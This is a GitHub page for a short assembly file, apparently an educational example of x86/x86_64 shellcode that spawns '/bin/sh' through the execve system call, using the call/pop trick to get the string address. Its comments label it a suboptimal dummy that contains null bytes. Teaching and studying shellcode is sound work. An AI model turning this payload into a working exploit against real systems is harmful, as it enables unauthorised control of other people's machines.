-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathshellcode.s
41 lines (38 loc) · 843 Bytes
/
shellcode.s
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# Dummy and suboptimal example of shell invocation with #
# sys_execve ("/bin/sh", NULL, NULL) #
# /!\ Contains null bytes /!\ #
# Register aliases to make it both x86 and x86_64 compatible #
.if ARCH == 64
.set SYS_EXECVE, 59
.set EAX, %rax
.set EBX, %rdi
.set ECX, %rsi
.set EDX, %rdx
.set ESP, %rsp
.macro _SYSCALL_
syscall
.endm
.else
.set SYS_EXECVE, 11
.set EAX, %eax
.set EBX, %ebx
.set ECX, %ecx
.set EDX, %edx
.set ESP, %esp
.macro _SYSCALL_
int $0x80
.endm
.endif
# Assembly code starts here #
.text
.globl _start
_start:
call code # -> push %eip + jmp code
.string "/bin/sh"
code:
pop EBX # 2nd arg (EBX): address of "/bin/sh"
push $SYS_EXECVE # sys_execve
pop EAX # 1st arg (EAX): sys_XXX
cdq # 4rd arg (EDX): 0 = NULL (env)
mov EDX, ECX # 3th arg (ECX): 0 = NULL (argv)
_SYSCALL_ # syscall